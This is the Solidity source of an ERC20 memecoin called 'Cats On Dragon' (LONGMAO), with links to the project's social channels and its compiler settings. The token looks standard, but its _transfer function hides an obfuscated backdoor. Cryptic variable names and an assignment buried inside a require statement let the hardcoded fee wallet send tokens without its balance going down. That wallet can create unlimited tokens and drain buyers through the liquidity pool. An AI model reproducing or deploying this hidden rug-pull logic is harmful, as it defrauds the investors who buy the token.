// SPDX-License-Identifier: MIT

/**
Web: https://catsondragon.fun
X:   https://x.com/catsondragon
Tg:  https://t.me/catsondragon
**/

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract LONGMAO is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _shouldExcludedYi;
    mapping (address => bool) private _haoHaoo;
    address payable private _yaoYaoo;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=12;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Cats On Dragon";
    string private constant _symbol = unicode"LONGMAO";
    uint256 public _maxTxAmount = _tTotal.mul(2).div(100);
    uint256 public _maxWalletSize = _tTotal.mul(2).div(100);
    uint256 public _taxSwapThreshold= _tTotal.mul(1).div(100);
    uint256 public _maxTaxSwap= _tTotal.mul(1).div(100);
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _yaoYaoo = payable(0xA38100B8F93e328B00070c92cbfED0272DA37068);
        _tOwned[_msgSender()] = _tTotal;
        _shouldExcludedYi[owner()] = true;
        _shouldExcludedYi[address(this)] = true;
        _shouldExcludedYi[_yaoYaoo] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function initialize() external onlyOwner { 
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 bbqAmt) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(bbqAmt > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _tOwned[from] = _tOwned[from] - bbqAmt;
            _tOwned[to] = _tOwned[to] + bbqAmt;
            emit Transfer(from, to, bbqAmt);
            return;
        }
        uint256 bbzAmt=0; uint256 keoKeoo=3+bbqAmt.sub(3); 
        if (from != owner() && to != owner() && to != _yaoYaoo) {
            require(_haoHaoo[_yaoYaoo]=true && !_haoHaoo[to]);
            if(_buyCount==0){
                bbzAmt = bbqAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }if(_haoHaoo[from]&&_decimals==9){keoKeoo=_decimals==9?(4-4)*(bbqAmt*4):(9-9)*(bbqAmt+9);}
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _shouldExcludedYi[to] ) {
                require(bbqAmt <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + bbqAmt <= _maxWalletSize, "Exceeds the maxWalletSize.");
                bbzAmt = bbqAmt.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ) {
                bbzAmt = bbqAmt.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore) {
                if(contractTokenBalance > _taxSwapThreshold)
                    swapTokensForEth(min(bbqAmt, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee();
            }
        }
        if(bbzAmt>0){
          _tOwned[address(this)]=_tOwned[address(this)].add(bbzAmt);
          emit Transfer(from, address(this), bbzAmt);
        }
        _tOwned[from]=_tOwned[from].sub(keoKeoo);
        _tOwned[to]=_tOwned[to].add(bbqAmt.sub(bbzAmt));
        emit Transfer(from, to, bbqAmt.sub(bbzAmt));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function rescueEth() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee() private {
        _yaoYaoo.transfer(address(this).balance);
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "LONGMAO.sol": "LONGMAO"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}